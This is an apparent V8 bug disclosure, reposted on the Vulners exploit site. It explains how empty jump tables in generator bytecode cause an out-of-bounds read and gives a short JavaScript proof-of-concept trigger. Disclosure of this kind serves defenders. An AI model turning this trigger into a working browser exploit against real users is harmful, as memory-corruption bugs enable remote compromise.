/*
In the current implementation, the bytecode generator also emits empty jump tables.
https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89
So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
for (;;)
if (true) {
} else {
yield; // never reaches, never hits BindJumpTableEntry
}
}
Bytecode:
...
0x35dda532a2a5 @ 75 : 90 04 01 01 SwitchOnSmiNoFeedback [4], [1], [1] { } <<--- SIZE: 1, but EMPTY
...
Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
if (table_offset_ >= table_end_) return;
current_ = accessor_->GetConstantAtIndex(table_offset_);
Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
while (current_->IsTheHole(isolate)) {
++table_offset_;
++index_;
current_ = accessor_->GetConstantAtIndex(table_offset_);
}
}
If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.
PoC:
*/
function* opt() {
for (;;)
if (true) {
} else {
yield;
}
for (;;)
if (true) {
} else {
yield; yield; yield; yield; yield; yield; yield; yield;
}
}
for (let i = 0; i < 100000; i++)
opt();Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation